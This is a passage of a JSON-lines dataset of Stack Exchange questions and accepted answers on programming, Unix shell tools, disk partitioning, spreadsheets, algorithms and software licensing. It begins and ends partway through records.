the full scientific python stack as well. Take a look at this ipython notebook for an example of pandas use.I believe similar tools exist for R, as well as commercial software such as Matlab or Stata. HDF5 is a good generic way of storing the data initially, and has good library support in many languages."  } 
{  "id": "_softwareengineering.290465"  , "question": "Should unit tests be written by the developer who wrote the code or someone else ? And how effective is writing units tests as a method of learning a new system ?"  , "title": "Who should write Unit Tests?"  , "tags": "unit testing;development process;tdd"  } 
{  "id": "_reverseengineering.12178"  , "question": "In my vtable i found a method that simply returns ecx.Now im confused as to what this tries to accomplish ? Is this a known useful sequence ?"  , "title": "Virtual Method that returns ?"  , "tags": "ida;c++"  , "accepted_answer": "The C++ compiler of Visual Studio uses ecx as the default register for this pointer, a virtual method which returns ecx then actually returns this or *this. For example, you can test the following code:class A{public:  virtual A getmyself() { return *this; }  virtual A* getmyselfpointer() { return this; }}The generated assembly code for getmyself (the same for getmyselfpointer) isgetmyself:  mov     eax, ecx  retnThis detail is not true for clang or gcc since they do not use ecx as default register for this."  } 
{  "id": "_webmaster.95351"  , "question": "I have a small static website which allows customers to purchase a PDF containing some data based from an input from them. The PDF's are a page or two and follow a standard template, and various values change based upon the what the customers are searching for, and I expect them to be unique per customer (i.e 99% chance of having a unique PDF, although majority of the content within the PDF may be similar).Previously I haven't made the PDF's searchable, however I've wanted to start including them and have written some code that dynamically gets all the available PDF's and generates a page where they are listed with a hyperlink to open them using this PHP code embedded in a HTML page :-$directory = ../logs/reports/;$files = glob($directory . *.pdf);foreach($files as $phpfile){    $filename = basename($file);    echo '<a href=/includes/getreport.php?file='.urlencode($filename).'>'.basename($file).'</a><br>';}My sitemap is reflecting the new page with weekly change frequency<url>  <loc>https://www.myurl.com/reportlist.html</loc>  <changefreq>Weekly</changefreq></url>  I forgot to update my robots.txt initially for an allow rule as I had a disallow on /includes/ where the PHP file that retrieves the report is located, so I updated it and it now looks like the belowUser-agent: *Disallow: /font/Disallow: /includes/Disallow: /js/Disallow: /wdsl/Allow: /includes/getreport.phpMy Search Console is now showing the following under Index Statusso the links to the PDF's are being crawled, but apparently links are blocked by robots.txt from being crawled. If I check the robots.txt Tester of a URL I get the following I've tried putting the allow statement in the robots.txt at the top originally, and then at the below as per the current setup, and it appears to have been seen by Google after the changes. If run Fetch as Bingbot I get the followingwhich suggest that robots.txt can access the page and retrieve the PDF, and although it looks like there is no visible text, I'm not overally worried as according to https://webmasters.googleblog.com/2011/09/pdfs-in-google-search-results.html these PDF's may be searchable by OCR, and I can cut and paste text from them via a PDF reader.Lastly if I check my search results via site:mysite.com I see a number of links with A description for this result is not available because of this site's robots.txt so it seems to think they aren't searchable.So my question is two-fold, firstly why are these appearing as blocked in Search Console, not sure if waiting longer is the answer as the Index Status seems to be changing and the number of indexed pages is dropping, but the blocked by robots seems to remain the same. Secondly will indexing this sort of content be problematic?"  , "title": "Google not indexing site, robots being blocked"  , "tags": "google search console;robots.txt;pdf"  , "accepted_answer": "It appears you're using query strings on a PHP page to generate the file links. Try adding a wildcard to the end of your ALLOW, as this will form part of the URI.Also, have you checked the URL parameters section to see how Google is treating these variables? You can also explicitly set behaviour, make sure Google understands how to use the query strings when it's indexing."  } 
{  "id": "_computergraphics.5258"  , "question": "I need a 3D triangular sphere mesh with uniformly sampled vertices, say $V$, with a predefined adjacency. Is there a specific way to achieve that?"  , "title": "3D sphere mesh with a predefined number of vertices and a given adjacency matrix of vertices"  , "tags": "3d;computational geometry;mesh"  } 
{  "id": "_webapps.39822"  , "question": "I have a table where each row contains data like this:Team name | First member | Second member | Third member | Team descriptionWould it be possible to transform/break this data so that each row contains only one member? Like this:Team name | First member  | Team descriptionTeam name | Second member | Team descriptionTeam name | Third member  | Team description"  , "title": "Split content of one row into multiple rows?"  , "tags": "google spreadsheets"  } 
{  "id": "_unix.384622"  , "question": "Following statement always returns 1 when I am expecting it to return 0: echo ACI123456777-001-20170701.pdf | grep -e ^ACI([0-9]{9})-([0-9]{3})-([0-9]{8}).pdf$"  , "title": "grep pattern matching"  , "tags": "linux;shell script;grep"  , "accepted_answer": "You observed an exit of code 1, like this:$ echo ACI123456777-001-20170701.pdf | grep -e ^ACI([0-9]{9})-([0-9]{3})-([0-9]{8}).pdf$; echo code=$?code=1To have it work as you expect, you need the -E` option:$ echo ACI123456777-001-20170701.pdf | grep -Ee ^ACI([0-9]{9})-([0-9]{3})-([0-9]{8}).pdf$; echo code=$?ACI123456777-001-20170701.pdfcode=0-E turns on extended regex features.If you really want to use basic regex, which is the default, then you need to add several escapes:$ echo ACI123456777-001-20170701.pdf | grep -e ^ACI\\([0-9]\\{9\\}\\)-\\([0-9]\\{3\\}\\)-\\([0-9]\\{8\\}\\).pdf$; echo code=$?ACI123456777-001-20170701.pdfcode=0The meaning of -eThe grep option -e precedes a regex pattern:$ echo ACI123456777-001-20170701.pdf | grep -e '^ACI'ACI123456777-001-20170701.pdfIf there is only one pattern, then grep doesn't need -e and you can omit it:$ echo ACI123456777-001-20170701.pdf | grep '^ACI'ACI123456777-001-20170701.pdfIf there are two or more patterns, however, -e is needed:$ echo ACI123456777-001-20170701.pdf | grep -e '^ACI' -e 'pdf'ACI123456777-001-20170701.pdf"  } 
{  "id": "_codereview.105484"  , "question": "I completed the following task:You need to create the foundations of an e-commerce engine for a B2C (business-to-consumer) retailer. You need to have a class for a customer  called User, a class for items in inventory called Item, and a shopping cart class calledCart. Items go in Carts, and Users can have multiple Carts. Also, multiple items can go into Carts, including more than one of any single item.I am a new Pythoner, and don't have good knowledge of OOP. I feel the code is not good. I welcome recommendations to improve the code.Here's my code:class Item(object):    def __init__(self,itemname,itemprice):        self.__itemname = itemname        self.__itemprice = itemprice    def GetItemName(self):        return self.__itemname    def GetItemPrice(self):        return self.__itemprice    def ChangeItemPrice(self,newprcie):        self.__itemprice = newprcieclass Cart(dict):      #cart dict format:  {itemname:[price,number]}    def ShowCart(self):        return self   class User(object):    def __init__(self, name):            self.name = name        self.__cartlist = {}        self.__cartlist[0] = Cart()    def AddCart(self):        self.__cartlist[len(self.__cartlist)] = Cart()    def GetCart(self, cartindex = 0):        return self.__cartlist[cartindex]    def BuyItem(self, item, itemnum, cartindex = 0):        try:            self.__cartlist[cartindex][item.GetItemName()][1] += itemnum        except:            self.__cartlist[cartindex].update({item.GetItemName():[item.GetItemPrice(),itemnum]})    def BuyCancle(self, itemname, itemnum, cartindex = 0):        passif __name__ == '__main__':     item1 = Item('apple', 7.8)    item2 = Item('pear', 5)       user1 = User('John')    user1.BuyItem(item1, 5)    print(user1 cart0 have: %s % user1.GetCart(0).ShowCart())    user1.BuyItem(item2, 6)    print(user1 cart0 have: %s % user1.GetCart(0).ShowCart())    user1.AddCart()    user1.BuyItem(item1, 5, 1)    print(user1 cart1 have: %s % user1.GetCart(1).ShowCart())"  , "title": "Python OOP shopping cart"  , "tags": "python;beginner;object oriented;e commerce"  } 
{  "id": "_unix.177988"  , "question": "I've installed Open Panel, which seems to ship with Pure FTP server. I added a linux user ftpuser, and now I can log in with it. I'd like to specify a directory to which this user starts with when it logs in.How can I achieve this?"  , "title": "(Pure FTP) FTP User login directory"  , "tags": "ftp"  , "accepted_answer": "You can use a program like usermod with its -d option if you have that installed: usermod -d /new/ftpuserhome ftpuserif you don't have that, you can also edit the /etc/passwd file as root and change the 6th field (the one before the last field (: is the field separator)."  } 
{  "id": "_unix.165324"  , "question": "I tried this substitution with GNU sed on OS X (4.2.2 installed through Homebrew). But it doesn't work.printf Hello\\x92 World | gsed -r s/[\\x92]/'/gThe expected output is:Hello' WorldThe actual output is:Hello<unknown character symbol> WorldI also tried:printf \\x92 | gsed -r 's/[\\x92]/P/g'But I continue to get an unprintable character that is the byte '\\x92'.What am I doing wrong here?"  , "title": "Why doesn't this sed substitution for a non-ASCII byte work?"  , "tags": "sed;character encoding"  } 
{  "id": "_unix.49261"  , "question": "On the one hand I have a lot of tar files created with gnu format, and on the other hand I have a tool that only supports pax (aka posix) format. I am looking for an easy way to convert the existing tar files to pax format - without extracting them to the file system and re-create the archives.GNU tar supports both formats. However, I haven't found an easy way to the conversion.How can I convert the existing gnu tar files to pax?[I asked the same question on superuser.com, and a commenter recommended to migrate the question to unix.stackexchange.com.]"  , "title": "How to convert tar file from gnu format to pax format"  , "tags": "tar;conversion"  , "accepted_answer": "You can do this using bsdtar:ire@localhost: bsdtar -cvf pax.tar --format=pax @gnu.tarire@localhost:file gnu.targnu.tar: POSIX tar archive (GNU)ire@localhost:file pax.tarpax.tar: POSIX tar archive@archive is the magic option. From the manpage:@archive     (c and r mode only) The specified archive is opened and the     entries in it will be appended to the current archive.  As a sim-     ple example,       tar -c -f - newfile @original.tar     writes a new archive to standard output containing a file newfile     and all of the entries from original.tar.  In contrast,       tar -c -f - newfile original.tar     creates a new archive with only two entries.  Similarly,       tar -czf - --format pax @-     reads an archive from standard input (whose format will be deter-     mined automatically) and converts it into a gzip-compressed pax-     format archive on stdout.  In this way, tar can be used to con-     vert archives from one format to another."  } 
{  "id": "_softwareengineering.323872"  , "question": "I have modeled a problem as a graph that consists of many trees. Some of the nodes in the graph may belong to more than one tree. I am trying to describe a subset of paths in the graph with as few nodes as possible in order to store them efficiently. All paths start from a root and end at a leaf node.Below are a few examples:Suppose the subset of paths chosen all start from the root node R. Then, I can describe all these paths with all paths that start from R. This uniquely determines the paths that were selected. So I just need to store R and a flag that specifies that this node is a root.A similar scenario, but for the case where all the paths end at a specific leaf node L. They can be described with all paths that end at L. So I just need to store L and a flag that specifies that this node is a leaf.A similar scenario, but for the case where all the paths pass through a specific intermediate node I. They can be described with all paths that pass through I. So I just need to store I and a flag that specifies that this node is an intermediate node.The problem could get more complicated if the  paths need to be described with more than just a root/leaf/intermediate node. For example, I may need to specify many roots, leaves, and intermediate nodes. However, I want the description to contain as few nodes as possible.Is there any known algorithm/heuristic that I can apply to my problem?Thanks a lot."  , "title": "How to describe a set of paths in a graph with as few nodes as possible?"  , "tags": "graph;trees"  } 
{  "id": "_unix.64753"  , "question": "After upgrading to Fedora 18, I am seeing the following critical messages on /var/log/messages whenever I log on to the computer:CRITICAL: gsm_manager_set_phase: assertion \\`GSM_IS_MANAGER<br>Gtk-CRITICAL: gtk_main_quit: assertion `main_loops != NULL' failedBased on my limited knowledge, critical messages and above can affect the usage of my computer if I don't deal with these urgently. Not that they are affecting the current usage of my computer, but I would like to find out more about them (seems to deal with mobile technology and GIMP toolkit?) and how to turn them off if I do not need these services."  , "title": "Critical messages from gsm and gtk"  , "tags": "fedora;logs;gtk;gsm"  } 
{  "id": "_unix.172017"  , "question": "This is my scriptif [[ ! $url == *.txt ]]thenexitfiI have also tried:if [[ ! $url == *.txt ]]thenexitfiand:if [[ $url !== *.txt ]]thenexitfiBut even though $url does contain *.txt it still exits?"  , "title": "If variable does not contain not working"  , "tags": "bash;test"  } 
{  "id": "_unix.26138"  , "question": "I have a unix script which creates a temporary log file, say tempfl.log.When this file is created it has permission rw-r--r--.There is a linechmod 0440 /etc/sudoers tempfl.log 2>&1But when the script is done the permission changes to r--r--r-- but it should be rw-r--r--. If I change the line to chmod 0644 /etc/sudoers tempfl.logthe permissions are right for tempfl.log but it throws errors sayingsudo: /usr/local/etc/sudoers is mode 0644, should be 0440I do not understand what sudoers is doing and what is wrong."  , "title": "understanding sudoers"  , "tags": "shell"  , "accepted_answer": "Your script is changing the permission of 2 files, /etc/sudoers and tempfl.log.  Split the command in two lines and you should be fine."  } 
{  "id": "_softwareengineering.289070"  , "question": "I'm writing AI for the game and encountered this article that helped me out. I'm not sure how the probability function is computed. Does it rely on some advanced math I'm not understanding or for each move program generates randomly lots of possible set ups and then computes chance by counting times ship is encountered on the given field?"  , "title": "How probability function is computed for the game Battleships?"  , "tags": "artificial intelligence"  , "accepted_answer": "You enumerate every possible legal position that the largest (surviving) ship can be in. Call that N. Then for each cell, you count up how many of those positions include that cell. Call that c. Then your probability is c/N . You can deliberately targeting the largest ship as the probability map is more concentrated for that one, and therefore most likely to give a successful hint, although the authors continue to do the same for other ship sizes.Whether this is a good measure is debatable - it assumes all remaining positions are equally likely, which in turn assumes your opponent scatters his ships at random. I suspect humans will tend to follow patterns they believe makes life difficult for the opponent, eg. not having touching ships (so that hitting one won't lead you into hitting another while in TARGET mode). "  } 
{  "id": "_datascience.19731"  , "question": "I am using artificial neural networks to classify normal/attack network traffic. While having a large data set to train my model, i want to avoid over-fitting and reduce training time. So how can i generate a representative sample based on my data (which contains both malicious and benign records) ? Is there a machine learning algorithm for this purpose ? Tools like weka, orange or python ?  "  , "title": "how can I generate a representative sample from a large data set?"  , "tags": "dataset;sampling"  } 
{  "id": "_vi.3869"  , "question": "I have a file that contains words that I want to save, along with other junk that I do not need.  I just want to delete everything except the words that contain a certain pattern. Take email addresses for example:foo foo foo foo foo foo@foo.comfoo foo foo2@foo2.netRun some magic and save everything from @ to the previous and next space.foo@foo.com foo2@foo2.netThis would be useful in so many applications (especially email addresses)."  , "title": "Delete all of a file except for certain words that contain certain letters"  , "tags": "command line;search;regular expression"  , "accepted_answer": "Easy way - grepThe easiest technique is to use :%!grep -o {pat}. The -o/--only-matching make grep only display the matches.:%!grep -o 'foo\\w*bar'Note: that grep's regex's are a different variant from PCRE and Vim's.Pure Vim method with plugin - still easyFor a pure native vim solution I suggest you look at ExtractMatches or Yankitute plugins.(Ab)Using :s for fun and profitYou want to roll your extract matches command with :s with a sub-replace-expression (\\=) and a list.let lst = []:%s/pattern/\\=add(lst, submatch(0))[-1]/g:%d:pu=lst:1dThe basic idea is to add each match to the list, lst, using a sub-replace-expression for the :s command. We can use some in-place array trickery to make sure the text doesn't change by always returning the last element of the array (what we just added).This :s trick is often done in the form::let lst = []:%s//\\=add(lst, submatch(0))[-1]/g:call setreg('', join(lst, \\n), 'l')This will capture the current matches (uses last used pattern) into the default register. If you have Vim 7.4 then the :s can be simplified further: :%s//\\=add(lst, submatch(0))/gnMore information:h :range!:h :s:h sub-replace-expression:h List:h add():h submatch():h :d:h :pu:h @="  } 
{  "id": "_codereview.4814"  , "question": "I am trying to create a function similar to Excel's EOMONTH function in C#. I have written the following, however, I am not entirely sure if the it achieves the equivalent functionality. Is my equivalent of Excel's Eomonth function correct and are my tests sufficient?public static DateTime EOMonth(this DateTime dateTime, int months = 0){    DateTime firstDayOfTheMonth = new DateTime(dateTime.Year, dateTime.Month, 1);    return firstDayOfTheMonth.AddMonths(1 + months).AddDays(-1);}Tests[Test]public void EOMonth_For5jan2011WithNoAddedMonths_ReturnsLastDayOfJan() {    var expectedDate = DateTime.Parse(31-Jan-2011);    var currentDate = DateTime.Parse(5-Jan-2011);    var result = currentDate.EOMonth();    Assert.That(result, Is.EqualTo(expectedDate));}[Test]public void EOMonth_For5jan2011With_1_AddedMonths_ReturnsLastDayOfFeb2011(){    var expectedDate = DateTime.Parse(28-Feb-2011);    var currentDate = DateTime.Parse(5-Jan-2011);    var result = currentDate.EOMonth(1);    Assert.That(result, Is.EqualTo(expectedDate));}[Test]public void EOMonth_For5jan2011WithNegative_1_AddedMonths_ReturnsLastDayOfFeb(){    var expectedDate = DateTime.Parse(31-Dec-2010);    var currentDate = DateTime.Parse(5-Jan-2011);    var result = currentDate.EOMonth(-1);    Assert.That(result, Is.EqualTo(expectedDate));} [Test] public void EOMonth_For28Feb2007_12_AddedMonths_ReturnsLastDayOfFeb2008() {     var expectedDate = DateTime.Parse(29-Feb-2008);     var currentDate = DateTime.Parse(28-Feb-2007);     var result = currentDate.EOMonth(12);     Assert.That(result, Is.EqualTo(expectedDate)); }"  , "title": "Is my equivalent of Excel's EOMONTH function correct?"  , "tags": "c#;unit testing;datetime"  } 
{  "id": "_codereview.163438"  , "question": "Problem statementConsider an n-element sequence of integers, A = {a0, a0, ..., an-1}. We want to perform \\$n\\$ operations on \\$A\\$, where each operation is defined by the following sequence of steps:Remove any integer, ai, from \\$A\\$ and set it aside. Calculate scorek = runningSum mod ai, where 1 ≤ k ≤ n and runningSum  is the sum of all the numbers removed from A during the previous k - 1 operations.Update runningSum such that runningSum = runningSum + ai, where ai is the integer that was removed from A during step 1 above.Introduction of AlgorithmThe max score is the first medium level algorithm on Hackerrank Rookie 3 contest in May 5, 2017. The success rate is 14.10%, and I only scored 3.5 out of 35 points in the contest. In the contest, I did some work on recursive algorithm, but failed to implement the correct memoization, and did not know that bit mask is the solution to solve timeout issue. After the contest I was busy to learn and teach myself. I thought that if I am a good tester, very patient to go over a few simple test cases first, I must have solved the problem. So I like to try the idea on the algorithm after the contest. Two unit test cases are chosen, one is the array {\\$1, 2\\$}, and the other is {\\$1,2,1\\$}. Test case {1, 2, 1}C# code only passed first 5 test cases, timeout last 5 test cases. Source code can be looked up from the link. The solution is implemented with the correct memoization matching the recursive tree, but timeout since too many string concatenation. Suppose that the array has three numbers, int[] numbers = new int[]{1, 2, 1}.Calculated variable as Dictionary has the following:[0 1, 0][0 2, 0][0, 1][1 2, 0][1, 0][2, 1][,1]The key is encoded using the function: public static string EncodeKey(HashSet<int> numbers) {                int[] sorted = numbers.ToArray();     Array.Sort(sorted);    return string.Join( , sorted);  }Debug the code, and check how many times the dictionary is looked up. 3 times.key = 0 1, 0 2, 1 2.Draw a recursion tree for this simple test case. Here is the graph:Apply bit mask technique In order to solve time out issue, I had to use bit mask instead of using encoded key by using the above function EncodeKey with the argument HashSet numbers, apply bit mask techniques learned through top coder article called A Bit of Fun: Fun with Bits. The code is much easy to follow after I did draw recursive tree on the test case, and bit mask set operation is also easily to look up through the top coder article. Here is C# code with those two test cases. C# code passes all test cases on Hackerrank. Please help me to be a good tester, a smart problem solver to work on basics first.   #if DEBUGusing Microsoft.VisualStudio.TestTools.UnitTesting;#endifusing System;using System.Collections.Generic;using System.Linq; using System.Text;using System.Threading.Tasks;namespace MaxScore_usingBitArray{    class MaxScore_usingBitMask    {        /// <summary>        /// source code reference is here:        /// https://www.hackerrank.com/contests/rookierank-3/challenges/max-score/forum/comments/299005        ///        /// </summary>        /// <param name=args></param>        static void Main(string[] args)        {            ProcessInput();            //RunTestcase();         }               public static void ProcessInput()        {            int n = Convert.ToInt32(Console.ReadLine());            var data = Console.ReadLine().Split(' ');            long[] numbers = Array.ConvertAll(data, Int64.Parse);            long maxScore = GetMaximumScore(numbers);            Console.WriteLine(maxScore);        }        /// <summary>        /// How to calculate score?         /// Please read the problem statement.         /// For test case int[]{1,2}, if first number array 1 is selected first, score 0 % 1 = 0.         /// Sum will be 1, and then number 2 will be scored as 1 % 2 = 1. Total score is 0 + 1 = 1.         /// There are 2 options to enumerate 2 numbers, maximum score is to choose maximum one of         /// those two options.         /// </summary>        /// <param name=array></param>        /// <returns></returns>        public static long GetMaximumScore(long[] array)        {                        return getMaxScore(array, 0, array.Sum());        }        public static Dictionary<int, long> memo = new Dictionary<int, long>();        /// <summary>        /// Bit mask technique to solve timeout issue - 3 seconds time limit.         /// use the following article on topcoder for reference:         /// https://www.topcoder.com/community/data-science/data-science-tutorials/a-bit-of-fun-fun-with-bits/        /// The following function uses an integer to represent a set, with a 1 bit representing        /// a member that is present and a 0 bit one that is absent.         /// The following set operations are used in the function:        /// Set Union  A | B        /// Clear bit         /// A &= ~(1 << bit)        /// Test bit  (A & 1 << bit) != 0        /// </summary>        /// <param name=numbers></param>        /// <param name=bitmask></param>        /// <param name=sum></param>        /// <returns></returns>        private static long getMaxScore(long[] numbers, int bitmask, long sum)        {            if (memo.ContainsKey(bitmask))            {                return memo[bitmask];            }            var maximumScore = 0L;            for (var i = 0; i < numbers.Length; i++)            {                var bitToCheck = 1 << i; // set ith bit                if ((bitmask & bitToCheck) != 0) // test bit                {                    continue;                }                bitmask |= bitToCheck; // set union                 var current = numbers[i];                var score = ((sum - current) % current) + getMaxScore(numbers, bitmask, sum - current);                bitmask &= ~bitToCheck; // backtracking, clear the bit - ith bit                 maximumScore = Math.Max(score, maximumScore);            }            memo[bitmask] = maximumScore;            return maximumScore;        }    }#if DEBUG    [TestClass]    public class Test    {        [TestMethod]        public void Test1()        {                                    var array = new long[] { 1, 2};            MaxScore_usingBitMask.memo.Clear();             long maxScore = MaxScore_usingBitMask.GetMaximumScore(array);            System.Diagnostics.Debug.Assert(maxScore == 1);         }        [TestMethod]        public void Test2()        {            var array = new long[] { 1, 2, 1 };            MaxScore_usingBitMask.memo.Clear();            long maxScore = MaxScore_usingBitMask.GetMaximumScore(array);            System.Diagnostics.Debug.Assert(maxScore == 1);        }      }#endif}"  , "title": "Hackerrank: Max Score"  , "tags": "c#;algorithm;programming challenge;bitwise;dynamic programming"  } 
{  "id": "_cs.10096"  , "question": "I currently have a system that has {f(a) = b, f(f(x)) = x} (part of an exam question - look at page 5 - exercise 1).To start off with proving non-confluency, I am thinking along these lines:f(f(x)) and f(a) can be unified by using {a -> f(x)}. Then we can rewrite:f(f(x)) = x                 [eq.1]f(f(x)) = b                 [eq.2]The above two cannot be reduced any further, and do not have any common ancestor or successor. Therefore the system is not confluent.To make this confluent, we can add a third equation to the system:x = bThis way, the equation will both be confluent and terminate. Another alternative would be:f(x) = bIs there anything I have missed? Or is this pretty much the gist of it?"  , "title": "Proving non-confluency and adding an equation to make it confluent and terminating"  , "tags": "logic;proof techniques;semantics;term rewriting"  , "accepted_answer": "I do not think $f(f(x))$ and $f(a)$ can be unified. You can not map constant $a$ to the term $f(x)$.My example would be  $f(f(a)) = f(b)$ while otherwise $f(f(a)) = a$.It seems the equation $x=b$ maps all terms to $b$. That is too much. I would add $f(b) = a$. This leaves two classes of terms, those equivalent to $a = f(b) = f(f(a)) = \\dots$ and those equivalent to $b = f(a) = f(f(b)) = \\dots$Here, $a=a$ and $b=b$ and never the twain shall meet ..."  } 
{  "id": "_webapps.39414"  , "question": "I've clicked to join the beta for Facebook Graph Search, but I still cannot access the feature.When will it be rolled out to the public? Is there any way to circumvent the beta wall and gain access now?"  , "title": "When will Facebook Graph Search be available for me?"  , "tags": "facebook;social graph;facebook graph search"  , "accepted_answer": "From the press release:The roll out is going to be slow so we can see how people use Graph  Search and make improvements.andHow are you rolling this out?   Graph Search is in a limited preview, or beta. That means Graph Search will only be available to a very small number of people who use Facebook in US English.How can I get Facebook Graph Search?   You can sign up for the waitlist at www.facebook.com/graphsearchAs the button you clicked says, you've joined a waiting list for the beta. Facebook will be very slow and cautious rolling this out, the world is watching."  } 
{  "id": "_unix.174157"  , "question": "I'm having a little trouble getting parted 3.2 to accept a partitioning scheme that was valid in parted 2.3 (tested on Debian with jessie vs. wheezy).parted 3.2 will not accept a partition that goes all the way to the end of a volume (marker 1024MiB on a volume with size 1024MiB), instead it errors out with:Error: The location 1024MiB is outside of the device /dev/loop0.Here is a little script to reproduce (also happens when using GPT):#!/bin/bash -xtruncate disk.raw --size=1024Mdevice_path=$(losetup -f --show disk.raw)parted --script --align none $device_path -- mklabel msdosparted --script --align none $device_path -- unit mib print freeparted --script --align none $device_path -- mkpart primary 0MiB 1024MiBlosetup -d $device_pathrm disk.rawOutput with parted 2.3+ truncate disk.raw --size=1024M++ losetup -f --show disk.raw+ device_path=/dev/loop0+ parted --script --align none /dev/loop0 -- mklabel msdos+ parted --script --align none /dev/loop0 -- unit mib print freeModel:  (file)Disk /dev/loop0: 1024MiBSector size (logical/physical): 512B/512BPartition Table: msdosNumber  Start    End      Size     Type  File system  Flags        0.02MiB  1024MiB  1024MiB        Free Space+ parted --script --align none /dev/loop0 -- mkpart primary 0MiB 1024MiB+ losetup -d /dev/loop0+ rm disk.rawOutput with parted 3.2+ truncate disk.raw --size=1024M++ losetup -f --show disk.raw+ device_path=/dev/loop0+ parted --script --align none /dev/loop0 -- mklabel msdos+ parted --script --align none /dev/loop0 -- unit mib print freeModel: Loopback device (loopback)Disk /dev/loop0: 1024MiBSector size (logical/physical): 512B/512BPartition Table: msdosDisk Flags: Number  Start    End      Size     Type  File system  Flags        0.03MiB  1024MiB  1024MiB        Free Space+ parted --script --align none /dev/loop0 -- mkpart primary 0MiB 1024MiBError: The location 1024MiB is outside of the device /dev/loop0.+ losetup -d /dev/loop0+ rm disk.rawAs you can see 3.2 differs slightly in where the partition starts, but that shouldn't make a difference since mkpart only accepts [start] [end] and not [start] [size].There are of course workarounds for this, like making the last partition smaller or making the volume larger, but I would like to get to the bottom of this and understand why this happens."  , "title": "parted 3.2 says 1024MiB is outside of the device (of size 1024MiB)"  , "tags": "debian;parted"  } 
{  "id": "_cs.70880"  , "question": "I am currently writing a program where a lot of adding 0 to numbers and multiplying by 1 and 0 occurs and it got me to wondering if the CPU 'shortcuts' (drops), these operations. I'm a CS student and this hasn't been brought up ever.Can a CPU do this? What are the trade-offs in designing a CPU that detects +1, *1 and *0 and executes them faster?"  , "title": "Can CPU's 'shortcut' adding 0, multiplying by 1, and multiplying by 0?"  , "tags": "arithmetic;cpu"  , "accepted_answer": "Yes, there are processors which detect some kind of do-nothing operations, handle them specially so that they take less time than what they would take if they were handled navely.  In some cases, there are even recommended instructions to use for NOP (NOP are sometimes useful to align the code with a memory boundary, having NOP of various lengths available help the relieve the decoding part), the wikipedia page for NOP has a list which gives the normal meaning for some of them.But what you think as a do-nothing operation may not be one if you take into account things like resetting flags or the side effects of memory accesses -- and a processor should behave correctly in such matter;I'd not rely on this as an optimization; more as an encoding trick or as a way to reduce the op-code pressure;  they are working when the operands are statically known to have no effect and in such cases, the code writer -- human or compiler -- should avoid the operation if possible;detecting dynamically that the value has no effect is probably more costly than what would be gained by doing so.  That said, some relatively simple processors have operations which take a time which depend on the arguments (for arithmetic operations, don't think I've seen this for something else than integer multiplication and division, or for floating point operations)"  } 
{  "id": "_softwareengineering.233987"  , "question": "Im doing a thought experiment about making a product on top of Linux. Im wondering: If you make a custom window manager (akin to KDE, for example) on top of X and you release it, do you have to release it under the GPL (Linux) or MIT (X.org)? Or can you keep it closed source?"  , "title": "Is it legal to distribute a closed source X Window Manager?"  , "tags": "open source;linux"  , "accepted_answer": "X-Windows is licensed under the MIT License, which is a permissive license.  Its only requirement appears to be that you include a copy of the MIT license, and do not restrict others from using the X-Windows software in any way they see fit.  The MIT License doesn't require you to make your own software open-source, nor does it prevent you from closing the X-Windows source in the context of your Window manager."  } 
{  "id": "_softwareengineering.271249"  , "question": "What is the best practice for handling exceptions thrown from event handlers/listeners in a event loop? For example:class EventLoop{  public:  void start(); //create a thread which calls run();  void run()  {    while(true)    {      listener.waitEvent();  //blocks until an event occured      try      {        listener.processEvent(); //calls given handler      }      catch(const Exception& excp)      {        //The exception is thrown from another class        //What shall I do?      }    }  }  //other code..}//Sample event loop usage:EventLoop el;SampleListener sampleListener;el.setListener(sampleListener);el.start();//other work..In this example, when processEvent() throws an exception, the event loop thread should be able to continue to run. Also, the error should be handled. One possible solution may be add an errorOccured() method to listener. In catch block the method could be invoked.But it increases complexity of the program seriously.Your suggestions?Thanks.."  , "title": "How shall I handle event loop exceptions?"  , "tags": "c++;multithreading;exceptions"  } 
{  "id": "_webapps.17238"  , "question": "Is it possible to insert a datepicker in every cell of a column in Google Spreadsheet so that anyone can click (with a single click) on that cell and get a datepicker calendar to select a date?"  , "title": "Adding a datepicker in Google Spreadsheet"  , "tags": "google spreadsheets"  , "accepted_answer": "Right-click the selection you want to have the date picker show up for (i.e. single cell, entire row, entire column) and then open data validation. Set Criteria: Date is a valid date and click Save. Now just double-click the cell!"  } 
{  "id": "_codereview.93814"  , "question": "The code bellow was refactored for performance improvements for another user on this site.Functionality, high level:Sheet1 - CodeName aIndex: used as the main reference to the structure of the data being processed in 2 other sheets: mapping column headers for incoming data in sheet2, to column headers to be processed for the final result on Sheet3Sheet2 - CodeName bImport: this where external (raw) data is imported before processing. Importing of data is not part of this processSheet3 - CodeName cFinal: out of a set of about 50 incoming columns, Sheet1 will define a subset of 20 to 30 columns to be processed for the final resultThe code is fully functional, without issues, and decent performance (50,000 rows and 44 columns processed in 4 to 5 seconds); it contains more comments than usual for learning purposes, explaining some basic steps, or things that may not be obvious or clear to an inexperienced person.Notes:This is not a request that requires understanding of the functionality, or finding inefficiencies (unless there are obvious parts that can be optimized).It's about self improvement relative to coding practices: I am open to any criticism no matter how harsh, for any mistakes I may have made - I'll easily swallow my pride, as long as I can improve any bad habits I may have picked up along the way.When I posted the question intended to make it as relevant to this site as possible: Does this code make my ass look fat?I realize that members of this community are volunteers (like me), and provide feedback out of passion about the subject, so I tried to analyse the question objectively,  as a reviewer:The code is way too long to make me feel it's worth the effort, and this is the reason I didn't bring its functionality into the mix: there is less effort required for analyzing it at a high level (coding style), and not intricacies of functionalityThere is nothing I can do to make it shorter: I was curious about its structure: did I modularize it enough, or maybe too muchI wouldn't want to get involved in a long review by attempting to understand its logic and reasons of doing what it does, but just quick feedback about anything obviously bad from a readability and maintainability perspective.That said, I will provide relevant details about functionality for each part as a contexts for the algorithmThe first Sub controls the start and end of the entire process (after an imported file): turns off all events and calculations in Excel that can slow down execution, starts a timer, starts the main process, captures the total duration, and turns all Excel features back on:.Option ExplicitPublic Sub projectionTemplateFormat()    Dim t1 As Double, t2 As Double    fastWB True      'turn off all Excel features related to GUI and calculation updates        t1 = Timer   'start performance timer        mainProcess        t2 = Timer   'process is completed    fastWB False     'turn Excel features back on    'MsgBox Duration:  & t2 - t1 &  seconds   'optional measurement outputEnd SubThe next Sub is where the main processing is done, and makes calls to smaller helper functions:Sets up all references needed during processing: the 3 workbooks, and a set of local variablesDetermines the columns and size of imported data (Sheet2)Determines if there is any previous data on the result sheet (Sheet3) for cleanupIt doesn't remove the headers: these are the column to be migrated from the imported dataOverwrites the headers in Imported Sheet with a standard set of headers defined on Sheet1The headers on Sheet1 can be adjusted by the user (added, removed, renamed) relative to the expected headers in the imported dataThey are also aligned with the headers on Sheet3 (the final result)Re-formats the imported data with specific text, number, and date formatsIf there is at least 1 row of imported data on Sheet2, it starts the main processThe following steps are the most CPU 